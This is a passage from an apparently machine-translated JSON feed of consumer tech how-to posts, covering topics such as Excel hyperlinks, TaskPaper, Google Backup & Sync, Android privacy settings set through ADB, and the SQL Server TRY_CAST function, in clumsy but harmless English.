still active and connected to the 3G network. Experts predict that the success of Booklet 3G will largely depend on the selling price when officially launched. Video close-up Booklet 3G\n[youtube] http://www.youtube.com/watch?v=Iw-pOvORKY4 [/ youtube]\nncG1vNJzZmismaXArq3KnmWcp51ks6q%2B0q1knrCgmr%2Bqsc2cnGavmam1brrOpKCaZZKkvKy4xK1kbJ8%3D\n","link":"/post/first-experience-with-nokia-booklet-3g/","section":"post","tags":null,"title":"First experience with Nokia Booklet 3G"},{"body":"Many people still prefer to use Google Photos even though this service lacks some very basic features. One of them is a feature that lets you show off your favorite photos by dropping likes like Facebook or dropping your heart like Instagram.\nToday, Google announced next week it will release a feature that allows users to drop hearts on photos they like. Touch the star icon in the right corner of the photo in the gallery, you will put it in Favorites.\nThe Favorites album will be created as soon as you start 'shooting' for a certain image. This feature is not new and everyone must be familiar. If you haven't seen the star yet, maybe you should wait a few more days.\n   Drop your photos and drop them for others' photos in Google Photos\nPhotos will also soon allow users to drop hearts for photos shared with them (with a heart icon), bringing more social interaction, like Instagram. At the I / O event earlier this month, Google announced new features on Photos that will have quick editing capabilities suggested by AI to improve images and colors as well as refresh colors for old photos. The first 2 features have already been released.\nSee more:\n6 solutions to replace the best Google Photos Google I / O 2018: Google introduces a host of new features related to Android P, Assistant Assistant, Gmail Google Photos helps create short films from emotional photos to celebrate Valentine's Day ncG1vNJzZmismaXArq3KnmWcp51ktLC7xqWcZqiYpMGwv4yhmKxlkWKxs7vPZp2arp%2BntrWx0madnpmkqr%2Bmecuiop5lmaPAta3Gq5im\n","link":"/post/google-photos-has-a-drop-favorites-feature-like-instagram/","section":"post","tags":null,"title":"Google Photos has a Drop Favorites feature like Instagram"},{"body":"The following article details you how to create Hyperlink to link in Excel.\nYou can create links from Excel files to another Excel file, a sheet is right there in the Excel file, you can even create links to a website on the Internet, or to an email address.\nStep 1: Put the cursor in the data box you want to create a link -\u0026gt; on the Insert tab -\u0026gt; Link -\u0026gt; Link:\n  Step 2: The Insert Hyperlink dialog box appears with the following options:\n1. Create a link to a website on the Internet\nClick Existing File or Web page (1) to select a link to a website. In the section:\n- Text to display (2): Enter the description of the link.\n- Address (3): Enter the path of the site\n-\u0026gt; Finally, click OK -\u0026gt; You have created the link to the website:\n  The content in the linked cell has underlined text when moving the mouse over the changed content:\n  2. Create a link to a sheet in the file you are using\nClick Place in this Document to select the link to the sheet in the data file. In the section:\n- Text to display : Enter the text of the description for the link.\n- Or Sheet a place in this document: select the sheet to create links\nFinally, click the OK button you created the link to the sheet in Excel:\n  3. Create a link to a newly created data file\nClick Create New Document to link to the newly created data file. In the section:\n- Text to display: Enter a description for the link\n- Name of New document: Enter a name for the new data file you want to create.\n- Full path: Select the path to save the file by clicking Change.\nFinally click OK and you have finished creating the link to a newly created file:\n  4. Create link to email address\nClick on the E-mail Address to create the link to the e-mail. In the section:\n- Text to display: Enter a description for the link\n- E-mail Address: Enter the email address to create a link\n- Subject field: Enter subject for email\n  Step 3: Finally, you created the Hyperlink link in Excel:\n  When you click on News \u0026amp; Events -\u0026gt; the system automatically opens the browser to access to the website http://soha.vn/ created the link before:\n  The above is a detailed guide on how to create Hyperlink to link in Excel. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyhsKmdoqG2r7eMraZmpJmjuG61zWacsZuVoQ%3D%3D\n","link":"/post/how-to-create-hyperlink-to-link-in-excel/","section":"post","tags":null,"title":"How to create Hyperlink to link in Excel"},{"body":"Since remembering what you need to do becomes so complicated? Some task management apps and to-do lists are packed with features that keep them up to date. If you don't need such complicated things, then TaskPaper might be the perfect choice for you.\nWhat is TaskPaper? Although called TaskPaper, this tool is not really related to paper. Instead, TaskPaper is an application that allows you to manage your tasks in an easy-to-use format, stored in plain text.\nTaskPaper is a system that can adjust the way you want. If you just want to remember a few options, TaskPaper might help you. If you have a big, complex project that needs planning, TaskPaper can also help you do that. Flexibility is an important part of TaskPaper.\n  If you want to keep everything in a large document, you can do that too. You can also choose to use different files for personal, business and anything else.\nAlthough TaskPaper is very simple, it still has a variety of themes available. If you like a bit of visual sophistication, TaskPaper's Dark Mode is a handy addition.\n  The case of plain text One of the main advantages of storing tasks in plain text format is the ease of moving data. Synchronous processing is also not complicated. Just select the file and upload it to a cloud service like Dropbox or Nextcloud and the data will be available wherever you want.\nIt is because of the simplicity that plain text is extremely powerful. Using standard Unix tools found on Mac, Linux and Windows Subsystem for Linux, you can manipulate your to-do list in a multitude of different ways.\nUnlike the synchronous backend of complex task management applications, you don't have to worry about TaskPaper stopping working and losing data. The developer can stop the application, the synchronization service you use may stop working, but you still have files that contain your task. In addition, the TaskPaper application is not the only tool you can use text files with the TaskPaper format.\nStart with TaskPaper Using TaskPaper is as easy as editing a text file, but that doesn't mean it's all it has. Easy task entry is an attractive part of TaskPaper. However, besides, TaskPaper will still work like many task apps, showing you the content and timing of the task.\nThe main hierarchy of documents in TaskPaper appears as projects. To create a project, simply end a line with a colon. To create a task, start a line with a dash. Any line of text that does not start with a hyphen or end with a colon is considered a note.\nAnother way to organize tasks is to place them as tags. Do not use hashtag but instead use the @ symbol. You can tag anything you want, like @today for tasks you want to solve today or @high for high priority tasks.\n  TaskPaper also supports due dates. You only need to use one card with the date in parentheses. For example, @due (1970-01-01) will set a task on Thursday, January 1, 1970. This time is a day in the past, so it only works as an example. .\nYou can also use relative dates, such as @due (tomorrow) and TaskPaper to find everything for you.\nUse TaskPaper on other systems The TaskPaper application is basically for Mac only, but what if you want to use it on other systems? TaskPaper file format is so simple that applications exist on nearly every operating system with it. For example, TaskMator brings TaskPaper's format to iPhone.\nIn addition, there are TaskPaper plugins for most popular text editors. You can even add TaskPaper support to the vim editor.\nTaskPaper is not for everyone, but it brings a combination of simplicity and special functionality that some users will love. If you are interested in this topic, you can refer to the article: The best plain text notes application for all platforms for more details.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuvMuaoKdlpJrFtXnIp6uoZZFivbDDxKudrqRdqa60t4ymmKeZl5q6prrTZqqyq6Saum7DyK2fZqyRqLixrc%2BeqQ%3D%3D\n","link":"/post/how-to-turn-plain-text-into-a-powerful-task-management-system-with-taskpaper/","section":"post","tags":null,"title":"How to turn plain text into a powerful task management system with TaskPaper"},{"body":"When the new year approached, the calendar applications were searched by many people to look up the lunisolar calendar as well as other useful information. Nhu Y Italy-Van Nien Calendar 2020 is designed with a completely new interface, with full calendar lookup features to conveniently schedule your work.\nBesides, the application also brings users many other outstanding features such as horoscopes according to your age when signing in to your account, horoscope 12 horoscopes, viewing the zodiac date and time to break the ground, opening at the beginning of the year, or Calendar Like Italy-Van Nien 2020 also has a section of Literature, with prayers for the holidays of the year. In general, the content that the application brings is rich and diverse for users to look up and explore. The following article will guide you how to use the Nhu Y-Yich Calendar 2020 application.\nTop free Vietnamese calendar application, see the best lunar calendar for your phone 8 best free calendar apps for Android 8 best calendar apps for iPhone 7 best calendar apps in Microsoft Store Instructions for using the Italy-like Calendar (Van Nien) 2020 Step 1:\nUsers download application Calendar As Italy-Van Nien 2020 for Android and iOS follow the link below and proceed to launch.\nDownload the Italian-Italian Calendar 2020 Perpetual Calendar Android Download the Italian-Italian Calendar 2020 iOS Calendar Step 2:\nIn the first interface, the application has the option to turn on notifications to receive certain reminders. Next you will know more about weather information when turning on location access . Finally, allow the application to access the calendar on the device .\nStep 3:\nTo use more features of the application, click on the Extension at the bottom of the interface. Next, click Sign in now to use.\nThe application supports you to log in via Facebook or Gmail account. Agree to the application to access your Facebook account.\nStep 4:\nNext, users can set up personal information , select gender, date and time of birth, then click Finish . The result we will see is five years old as well as our zodiac.\nStep 5:\nClick on the Date section to return to the current date view on the application. At this interface we will see quotes from many authors or anonymous, horoscopes for today, circadian rhythms, or see the zodiac, moles. Quite like horoscopes applications.\nStep 6:\nIf you click on the Month , you can see the events in December and next year, including lunar calendar and solar calendar, zodiac date and time, departure direction, choose the appropriate color, appropriate seat, . .\nStep 7:\nClick the Reminders section to view individual events of the year. To create your own event , click the plus icon . Now enter the event information as in the interface and then click Create event below.\nStep 8:\nHoroscopes will provide more horoscopes for the month, lifetime, year, and name your child according to your age. If you want to see other age , click See other age . This time display horoscope age for us to see information.\nBelow is a section called `` Date view '' to select a good, zodiac date for big jobs such as entry, opening, marriage, etc.The application will view according to your age but users can still choose according to the age of the person. other.\nWhen you click on each good day and time also have other information.\nStep 9:\nIn the Extension section, in addition to signing in to your account, you also have the item to change the yin and yang date, see holidays of the year, zodiac, prayer, biological heart rate, horoscope through the mole position.\nStep 10:\nClick the gear icon in the top right corner to enter the Application settings interface. There is a Dark mode to activate the black background for the application and some other settings.\nCalendar Like Italy - Van Nien Calendar 2020 is not only a normal calendar application, providing date and time but also gives users more useful information for us to refer. This makes it easier for users to look up information when needed.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmo6KjlWK2ta3LsmScmZyau6Wt0WatmqZdo7amuoycmKWdnpmus3mRaWlp\n","link":"/post/how-to-use-the-like-italy-calendar/","section":"post","tags":null,"title":"How to use the Like Italy Calendar"},{"body":"Data storage is always a matter of concern, using cloud storage services instead of storing on a computer hard drive helps you reduce the amount of space on your computer and store data more safely. For those of you who use Google's cloud storage service, you need to know, recently Google has released Google Backup and Sync to sync, backup data instead of Google Drive and Google Photos . You just need to install Google Backup \u0026amp; Sync , you will not need to install Google Drive  or Google Photos anymore.\n  Instructions for setting up and using Google Backup \u0026amp; Sync to sync, back up data on the computer.\nStep 1 : Download Google Backup \u0026amp; Sync at https://www.google.com/drive/download/backup-and-sync/ to your computer.\nStep 2 : Proceed to install Google Backup \u0026amp; Sync on your computer by launching the exe file . To install successfully, your computer needs an internet connection for Google Backup \u0026amp; Sync to download data for the installation. The installation process is completely automatic, you just need to wait for the installation process to finish.\n  The installation complete message appears, select Close .\n  Step 3 : After installing successfully, there will be 3 icons on your desktop: Google Slides, Google Docs and Google Sheets. On the Welcome to Backup and Sync interface, select Get Started.\n  Step 4 : The first time you use Google Backup and Sync, you need to set up through the steps:\n1. First, you need to login to your Google account at the step Sign in.\n  2. After successfully logging in, the interface will move to the next step, select the folder you want to backup to Google Drive , if you want to add another folder, select Choose folder.\n  Next, click Change next to Backing up all files and folders to select the type of backup file.\n  Here you have 2 options: Back up all files and folders (backup all files and folders ), Back up photos and videos (only backup photos and videos). You can choose Back up all files and folders to back up all important data, if not then select Back up photos and videos and click OK .\n  Choose the quality for photos and videos to sync to Google Backup and Sync : High-quality ( Original quality ), Original quality (exact quality of pictures or videos). In the Google Photos section you want to download photos and videos to Google Photos, then check the box before Upload photos and videos to Google Photos , otherwise you can ignore. Click Next to continue.\n  3. Switch to Google Drive if you only want to back up data to Google Drive but do not want to sync it back, then uncheck the box before Sync My Drive to this computer. After setup is complete, click Start to start using Google Backup and Sync.\n  Step 5 : Sync data.\nTo view synchronization information, click the icon under the system tray.\n  After you have set up Google Backup \u0026amp; Sync, simply double click on the icon under the system tray, the Google Backup \u0026amp; Sync file will appear. Google Backup \u0026amp; Sync will automatically sync data in the folders you choose to sync in the previous step. If not, you can copy and paste data directly into Google Backup \u0026amp; Sync folder .\n  Step 6: Customize settings.\nTo customize some settings, select Google's Backup and Sync icon -\u0026gt; select vertical dots -\u0026gt; Preferences.\n  In the Preferences window , if you only want to back up data to Google Drive but do not want to sync it back, select Google Drive and uncheck the box before Sync My Drive to this computer \u0026nbsp;as the above setup step.\n  Set some other customizations you choose Settings , in the Settings section you can upgrade the storage capacity ( UPGRADE STORAGE ), or disconnect the account ( DISCONNECT ACCOUNT ). Also you have 3 other options:\nShow warning when I remove items from a shared folder: Displays a warning when the user deletes data from the shared folder. Open Backup and Sync on system startup: Open Backup and Sync when the system boots. Show file sync status icons and right click menu: displays the status of data synchronization when right-clicking the Backup and Sync icon under the system tray. If you want to choose an option, then you just need to check the box before that option to activate it. After setting up, select OK .\n  Thus the article has shown you how to use Google Backup \u0026amp; Sync to sync, backup data on your computer. Hope the article will help you. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWato567qHnGqKagpJVir6Kvyq6nZmWRo7FuedKypZxlpKR6tMXNnGSbmZOgwrF5wKebZpqRmLi2vIydmK2Z\n","link":"/post/instructions-for-using-google-backup-sync-to-sync-backup-and-backup-data/","section":"post","tags":null,"title":"Instructions for using Google Backup \u0026amp; Sync to sync, backup and backup data"},{"body":"Here are the best iOS 14 features you can get on Android right now. You can see these features in the following list.\n1. Notification dot using Camera and Mic 2. Application Library 3. Filtering messages 4. Touch the back of the device 5. Privacy information on the App Store 6. Temporary permits 7. Search within the app 8. Specify a reminder 9. Site security report 10. Conversation mode 11. Block clipboard access Bringing iOS 14 features to Android 1. Notification dot using Camera and Mic During the release of iOS 14, Apple made some big privacy notices. One standout feature is the Notification Dot using Camera and Mic. On iOS 14, whenever an app uses the camera or microphone, a dot appears at the top of the screen. This is done to warn you that you are being spied on by an application. Moreover, users can find application name in Control Center and uninstall immediately.\n  You can use the Access Dots software () to install this feature on your Android device. The app helps you get an indicator similar to iOS 14 for using the voice mic and camera. Also you can customize the color, change the size and position of the dot.\n2. Application Library Finally, after years, Apple also brought the app drawer on iOS 14. Similar to Android launchers, this separate drawer holds all the apps in the device. That's not all, though, a new feature called the app library will automatically organize all of your apps into one folder depending on the category.\n  To use the App Gallery feature on Android, you just need to download a third-party launcher like Microsoft Launcher (), Lawnchair () or Nova (/ $ 4.99). All of the above launchers allow to create app folders right in the app drawer. However, these launchers don't arrange apps automatically, so you'll have to do it yourself. If you want automatic sorting then you can use Poco Launcher (), but instead of the app folder, this launcher will give you separate windows.\n3. Filtering messages Apple added a big feature to its messaging app on iOS 14. Now, spam messages, OTPs, and ads will be filtered out and placed in separate folders. This completely changes the texting experience.\n  Message Filtering isn't available on Android, but you can install third-party apps. Microsoft is a great application to help you experience the SMS filtering feature of iOS 14 on Android for free.\n4. Touch the back of the device To make the iPhone more accessible and easy to use, iOS 14 brings a new Back Touch feature that lets you double-tap the back of your phone to perform a set action. For Android, you can double-tap on the back to take a screenshot or chat with the Google Assistant.\nTo get this iOS 14 feature on Android, you may have to wait a while. Google is working on a similar feature for Pixel phones, which will most likely be released with Android 11. However, a member from XDA has released an app called Tap, Tap that allows you to double-tap. back panel to perform optional actions.\n  This application reads parameters of gyroscope and accelerometer. It then compares the specs with the machine learning models Google has trained for Pixel devices. The feature works surprisingly well on the OnePlus 7T. If you want the iOS 14 device's Back Touch feature on Android, then Tap, Tap is a great choice. You can download the app.\n5. Privacy information on the App Store To let people know about privacy breaches, on iOS 14, Apple displays the privacy information for each app in the App Store in easy-to-understand language. For example, before you download an app, you can find out what data the app can use to track you and what data the app will have access to. This helps the user to understand what kind of privacy policy the app implements in order to consider whether to load or not.\n  While Android doesn't have this feature, you can install an app called Exodus (). Exodus will scan all installed applications and display the trackers it is using to track you. In addition, the user can also find out what permissions the app has been granted by default to know how much data the app is looking for from you. So download this iOS 14 feature on Android to increase your privacy.\n6. Temporary permits Apple launched the Temporary Permissions dialog last year with iOS 13. It is expected that the feature will also be available on Android 11. How this feature works if you haven't been using an app for a while. Sensitive rights are automatically revoked.\n  However, not everyone gets the Android 11 update. So if you want this great security feature on your Android, you can install Bouncer (). Bouncer allows you to grant temporary permissions to an app, and that permission is revoked automatically when you exit the app.\n7. Search within the app With iOS 14, Apple has made a lot of changes to the way search works. Allows users to do in-app searches, for example you can find your library or songs in Apple Music right from the search bar without opening the app.\n  If you want this iOS 14 feature on Android, you can install the Sesame app (there is an in-app paid option). With just one touch, Sesame will help you find music, contacts, system settings, Instagram stories, favorite apps, . Simply put, you will have access to everything. in one press.\n8. Specify a reminder With iOS 14, you can assign reminders to those shared the list. And they will be prompted according to the schedule. This feature can help users divide and complete tasks without any errors. You can also get this iOS 14 feature on Android just by using the Google Assistant.\n  If you're a member of a family group then simply say 'Ok Google, prompt X for .' and the reminder will be assigned to the speaker. You can find your family group from Google Apps -\u0026gt; More -\u0026gt; Settings -\u0026gt; Google Assistant -\u0026gt; Home Card -\u0026gt; Family members . And to customize the reminder, go to the Services tab in Google Assistant and open Reminders.\n9. Site privacy report In the iOS 14 announcement, Apple discussed the many new features and refinements of Safari for a more privacy-friendly experience. Among many Safari features, there is a site privacy reporting feature. Basically, you can see which trackers and cookies the website is using, and the trackers on many websites that Safari has blocked.\n  On Android, Chrome does not provide such a report. If you switch to DuckDuckGo (), Firefox () or Brave () on Android, all the cookies and trackers that the browser has blocked will be shown. DuckDuckGo even gives privacy ratings for the websites you visit. In parallel, if you want Website Security Report that supports iOS 14, the DuckDuckGo browser of Android is also a suitable choice.\n10. Conversation mode With the release of iOS 14, Apple announced a new Translate app with the ability to go offline and detect the language in use. Conversation mode allows you to say something, the Translate app transcribes the voice on the screen and plays the translated sound.\n  If you want a feature like Conversation Mode on Android, then the Google Assistant can help. Google Assistant comes with a dedicated Interpreter Mode that works very much like iOS 14. Conversation Mode Just say 'Dedicated Interpreter Mode' to Google Assistant and you'll see your voice transcribed on the screen with the translated sound.\n11. Block clipboard access iOS 14 has made many internal modifications to protect user privacy. For example, now you'll get a notification on iOS 14 when an app tries to access the clipboard. It would be bad if apps easily access your passwords, sensitive information, and banking details copied to your clipboard.\nAndroid 10 has built-in restrictions on apps' clipboard access. However, if you are on an older version of Android you can find and even block apps that have access to the clipboard. Here are step by step instructions.\nStep 1: Set up ADB and enter the command adb shell on the Command Prompt screen. Execute the command below to find all the applications that have access to the clipboard.\ncmd appops query-op --user 0 READ_CLIPBOARD allow\nStep 2: Note down the package name of the application you want to block and execute the command below. This will block apps from reading the clipboard. If you want to re-enable it, you just need to replace ignore with allow.\ncmd appops set READ_CLIPBOARD ignore\n  With the above features, you will get better security as well as experience on your Android device. On the other hand, we still hope Android will continue to improve and bring new features to increase security so that users do not need to use third-party software.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZJuqmaO0br%2FOppxmp5ZiwamxjJ%2Bcmqylp7K0ec6fZKKno2J%2BdXnTqGSappSnvKqw\n","link":"/post/instructions-to-bring-some-of-the-features-of-ios-14-to-android/","section":"post","tags":null,"title":"Instructions to bring some of the features of iOS 14 to Android"},{"body":"Is oil heaters used in closed or open space? Is a question that many consumers wonder and wonder before deciding to buy products. Because just like air conditioning or other heating devices, the space used is a very important factor, which determines the efficiency of product use and power saving issues. Let's find out in TipsMake.com in the article below!\nQuick review of content What is oil heater? How to use the oil heater properly Location of suitable oil heater Set a reasonable temperature  Should the oil heater in the space be closed or open? Explore more:\nDifferential oil heater Tiross 9 bar, 11 bar, 13 heat bar Use an oil heater so as not to waste electricity Which brand oil heater is the best? Are oil heaters available for babies?   What is oil heater? Oil heaters are the most advanced heating equipment on the market today. Oil heaters use a special oil called diathermic oil, an oil that has good heat transmission and especially is not consumed during use, so there is no need to replace or pour. Each oil heater is usable and offers durability for up to 10 years, so you can rest assured when using it.\nHow to use the oil heater properly To use the oil heater safely, you should read the accompanying user guide carefully and keep the following notes in mind to use the device most effectively and properly.\n  Location of suitable oil heater Oil heaters use the principle of heating ambient air to generate heat, so danger can occur if used incorrectly.\nPlacing heaters in the corner of the room and away from the user is the best. The safe distance that experts offer when using heaters is 1.5 meters from the person. Besides, it is necessary to place fans where the surface is flat and firm so as not to fall.\nSet the temperature just right, don't overheat According to experts, when using oil heating equipment in cold days, we should not set the temperature too hot, the difference with the outdoor temperature much to avoid sudden cold when walking out of the room.\nCurrently, there are various types of oil heaters such as: Tiross oil heaters, Sunhouse oil heaters, Fujie oil heaters are popular types. And based on the room size to choose the appropriate oil heater, it is usually suitable for 25 to 28 degrees for the climate of the country.\nSee also: Instructions for choosing to buy oil heaters in accordance with the room area\n  Should the oil heater in the space be closed or open? A misconception also has a lot of impact on health. It is the cold weather that people close the door to keep warm. The room is often closed closed jackfruit will make the air in the room dry, no circulation.\nThe people in the room only breathe with the hot air and the gas produced by the breath, leading to suffocation and a lack of gas. You should still open the door slightly or turn on the ventilation fan so that the air is convective while turning on the air conditioner, heater.\nHopefully with the above sharing, your family can use oil heaters properly. For advice and purchase of products, please visit META.vn - a reputable sales address that has been accompanied by consumers for 10 years in the market.\nncG1vNJzZmismaXArq3KnmWcp51ktrR5zqKjZqCVlsGmvtJmrKydlGK2r3nCpaasnZRivLN5zqmcp2Wjpa6ksQ%3D%3D\n","link":"/post/is-oil-heaters-used-in-closed-or-open-space/","section":"post","tags":null,"title":"Is oil heaters used in closed or open space?"},{"body":"April fish is a sensitive time of the year that can cause internal divisions, making friends dissolve when people can freely cheat on each other. If you are the type of person who has no interest in teasing people and doesn't like being a joke for others on this day, there is a solution for you, that is to open Google Maps and enjoy the game Ms Pac-Man only available today.\nRefer:\n10 interesting April Fools jokes for tech people 7 Android and iOS apps help you prank people on April Fool's Day Google has a very interesting tradition on April every year that turns its Google Maps interface into a playground. Surely you still remember how the world had to go crazy in 2014 when allowing users to play Pokemon right on Google Maps on April Fool's Day. And this year seems like a surprise when people around the world can play the \"lady\" version of Pac-Man right in any street location on Google Maps.\nMs Pac-Man can be played on both Andoird, iOS and web versions on the computer.\nMs Pac-Man playing guide at Google Maps on Android and iOS Open the Google Maps mobile application. Here you will see the picture of Ms Pac-man below the screen.   Click on it and the application will display Ms Pac-man game right on the current map area. Then swipe in different directions to move as you like.   You can also drag to another area on the map to play. Instructions for playing Ms Pac-Man at Google Maps on PC Open the web browser and go to Google Maps. Drag to the area you want to play.   Click the Ms Pac-Man game icon at the bottom of the screen.   Use arrow keys to move. Note that sometimes you will have to press the 2 arrow keys at once if you want to move diagonally.   In 2015, Google Maps also allowed people to play Pac-Man on April Fools' Day, but it was an old and boring version. However, Ms Pac-Man this year promises to bring a happier and more prosperous April fishing day.\nncG1vNJzZmismaXArq3KnmWcp51kva2t2GanmpudlrtuuMCdsGaulafAqrvNZqafZaSdsm6zwKacZpmkYq6vxYypo5qblWK2r3nToZxmr5%2BnuaV5yKdkoKefnLmmecyap6xln6N6orzRoqNmrJiewG7FxJqp\n","link":"/post/play-pac-man-lady-version-of-the-game-at-any-place-in-the-world-in-google-maps-on-april-this-year/","section":"post","tags":null,"title":"Play Pac-Man 'lady' version of the game at any place in the world in Google Maps on April this year"},{"body":"If anyone is interested in feng shui, it is certainly known how important feng shui is to each person, it gives money, peace, harmony and joy in human life. It is a combination of a series of terrain topography around houses, hamlets, cities or graves, wind directions, water currents, coordinates, shapes and layout of construction space. Feng shui relates to sand hung, happiness, longevity, the commonness of personnel. Sand should be feng shui, and it is not suitable for feng shui.\nIn this article, Network Administrator has synthesized and brought to the readers, feng shui lovers the best computer wallpaper for you to download as desktop wallpaper. If so, what are you waiting for without finding and choosing the best feng shui wallpaper right below.\n                            Above are the wallpapers taken from the collection, if you want to download standard-sized wallpapers, please visit here.\nSee more:\nFunny, cute, lovely wallpapers for computer screens Beautiful 3D wallpaper set for computers Recruiting beautiful dark colored wallpapers for computers Set of beautiful 4k quality nature wallpapers for computers ncG1vNJzZmismaXArq3KnmWcp51kva2xwKycZpyfrLutu8CdZJplo5rBbrvFZp2eppdiwKnByGaumqScpa6xsdGsZJ%2BnomLGsMHRZpqopaCqwaa%2B\n","link":"/post/please-download-a-set-of-feng-shui-wallpapers-for-your-computer/","section":"post","tags":null,"title":"Please download a set of feng shui wallpapers for your computer"},{"body":"The photos now taken on phones and DSLRs are quite large (about 6MB). So the storage of many photos on your phone will be limited by capacity. We need to handle this to optimize the size of your phone by Resize to reduce the size of the photo while keeping the good quality. Today, Software Tips will introduce to you the Top 3 Resize applications, resize, image size on the best phone.\n  1. Photo Compress 2.0 Photo Compress is completely different from other image resizing applications, the software is equipped with 4 different compression modes such as low, medium, high and super high to give you many choices as well as optimal. Chemical fully used his needs. Reduce the maximum image quality, but still retain the image quality as well as fine details, less blurry images together. Capacity after resize is also significantly reduced.\n  Android link: https://play.google.com/store/apps/details?id=com.saawanapps.photocompress\nLink IOS: https://itunes.apple.com/us/app/photo-compress-shrink-pics/id966242098?mt=8\n2. Image Converter This is a software from developer Paul Asiimwe known for his photo editing software toolkit. Image Converter is software developed specifically for resizing and reducing image sizes. This tool has good resize quality with the ability to fine-tune the parameters while preserving the original image details and colors.\n  Android link: https://play.google.com/store/apps/details?id=com.paul.icon\nLink IOS: https://itunes.apple.com/us/app/the-image-converter/id860858310?mt=8\n3. Reduce Photo Size Reduce Photo Size has been ranked in the top rated the most powerful image reduction applications today, equipped with many support utilities, arbitrary resolution adjustment algorithm to help your photos. reduced capacity while maintaining good quality.\n  Android link: https://play.google.com/store/apps/details?id=com.shoozhoo.imageresizer\nLink IOS: https://itunes.apple.com/gb/app/image-size/id670766542?mt=8\nAbove Software Tips has summarized the top 3 Resize applications, reducing the best image size on both Android and IOS. Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGxkqaCfqbxuvsSsoLOdXZa9sbjInJitoZ%2BjwG67zWawqK2iYr2pu82e\n","link":"/post/top-3-photo-resize-applications-on-your-phone/","section":"post","tags":null,"title":"Top 3 photo resize applications on your phone"},{"body":"In work as well as in daily life, we often use email as a tool to exchange documents and information with each other quickly and smoothly. With the growth of social networks and OTT (over the top) services, email seems a bit weak but especially in organizations and businesses, email is still a safe and reliable tool. used.\n  Today's article, Thuthuatphanmem.vn will introduce to you the Top 5 best free email service providers for us to see and refer to!\n1. Google's Gmail service   Gmail is one of the early services and is one of the best free email services in the world with millions of users every day. Some special features of Gmail such as information email filter, dividing email types into categories (Advertising, Social, Spam .), virus file warning .\n2. Microsoft Outlook Service   With the convenience and cross-platform synchronization, Microsoft's Outlook service is also one of the email services used by many businesses and organizations. Owning a beautiful and simple interface, user friendly and one of the advantages of Outlook is unlimited email storage, is an advantage for those who use email for a long time and want to Email archives at work for review when needed.\n3. Yahoo Mail Service of Yahoo   Having achieved a lot of success in previous years and Yahoo Mail is one of the good and reputable Email services but due to the privacy and security leaks, the number of users of this service has decreased significantly. Anyway this is also a reputable and convenient email service that you should not ignore.\n4. America Online's AOL Mail service   AOL mail is one of the pioneers in the field of email. One of the advantages of AOL Mail is a free email service, which allows users to store unlimited e-mail and anti-spam. In addition, some drawbacks on AOL mail are that the web interface is quite simple and sketchy, without the ability to label or divide, organize folders like Gmail or Outlook.\n5. Yandex.Mail service of Yandex   This is one of the free services from Russia. Users who create a new Yandex.Mail account will get 10 GB of free storage. The number is not much, but it can meet the needs of sending and receiving email and storing necessary information on the system. In addition, Yandex Mail also integrates a free email domain creation service suitable for corporate and business users who want to use the same email domain for different people.\n  Above are Top 5 best free Email service providers that we can refer to. How many email services have you provided, leave a comment and a review about each email service you've used!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXqnvsSeZJ6lkZ65br%2FEq62im5VivbO71aKbnqqjYn9xfo8%3D\n","link":"/post/top-5-best-free-email-service-providers-2020/","section":"post","tags":null,"title":"Top 5 best free Email service providers 2020"},{"body":"This article will show you in detail how to use the TRY_CAST data type conversion function in SQL Server with specific syntax and examples to better visualize and capture functions.\nDescribe The TRY_CAST function in SQL Server converts an expression from one data type to another. If the conversion fails, TRY_CAST will return NULL, otherwise it will return the corresponding conversion value.\nSyntax To use TRY_CAST function in SQL Server, we use the following syntax:\n TRY_CAST(bieuthuc AS kieudulieu [(do_dai)])  Parameters :\nbieuthuc: value to convert to another data type, can also be the name of a column in the table or a calculation expression that needs to be converted to a new data type. kieudulieu: the new data type name to which the expression will be converted. Probably one of the following: bigint, int, smallint, tinyint, bit, decimal, numeric, money, smallmoney, float, real, datetime, smalldatetime, char, varchar, text, nchar, nvarchar, ntext, binary, varbinary or image. do_dai (optional): data type length for the result of char, varchar, nchar, nvarchar, binary and varbinary. Note :\nWhen converting float or numeric data to int integers, TRY_CAST function will cut the decimal part behind. See also CAST, CONVERT and TRY_CONVERT functions. TRY_CAST can be used in later versions of SQL Server: SQL Server 2017, SQL Server 2016, SQL Server 2014, SQL Server 2012. For example Take a look and explore some examples of TRY_CAST functions in SQL Server.\nSELECT TRY_CAST(14.85 AS int); Result: 14 (kết quả là một giá trị int bị cắt phần thập phân) SELECT TRY_CAST(14.85 AS float); Result: 14.85 (kết quả được trả về dưới dạng giá trị float và không bị cắt ngắn) SELECT TRY_CAST('14 Main St.' AS float); Result: NULL (kết quả là NULL vì không thể chuyển đổi giá trị chuỗi này thành float) SELECT TRY_CAST(15.6 AS varchar); Result: '15.6' (kết quả được trả về dưới dạng varchar) SELECT TRY_CAST(15.6 AS varchar(2)); Result: NULL (kết quả là NULL vì chuyển đổi không thành công do giá trị không phù hợp với varchar độ dài 2 ký tự) SELECT TRY_CAST('2018-09-13' AS datetime); Result: '2018-09-13 00:00:00.000' (kết quả được trả về dưới dạng datetime)  Previous post: CONVERT function in SQL Server\nNext lesson: TRY_CONVERT function in SQL Server\nncG1vNJzZmismaXArq3KnmWcp51kwbPFvpyYrKxdm8Kvr9OipqdlmaN6tL3LZqqeqqaavw%3D%3D\n","link":"/post/try-cast-function-in-sql-server/","section":"post","tags":null,"title":"TRY_CAST function in SQL Server"},{"body":"You are too familiar with popular Google applications like Chrome, Google Maps, Google Keep, Google+, YouTube, Gmail, . However, the fact is that Google offers users a lot of services, applications great utilities and utilities that not everyone knows. Here is a summary of Google's interesting applications provided by Mountain View, try to enjoy their extremely useful features and maybe you'll be enamored right away.\nJust a Line\nJust a Line is the first name you should try, this is an augmented reality application that lets you create simple drawings in space, then share your creations with a short video. Using Just a Line, touch the screen to draw and press record and share what you do with hastag #justaline. Currently, the application works on all ARcore-enabled devices.\nDownload Just a Line Selfissimo\n  \nAnother application using Google search engine is Selfissimo. The purpose of the app is to assist you in finding a selfie with perfect shooting angles. With Selfissimo, you only need to make changes to the location and the capture job will be 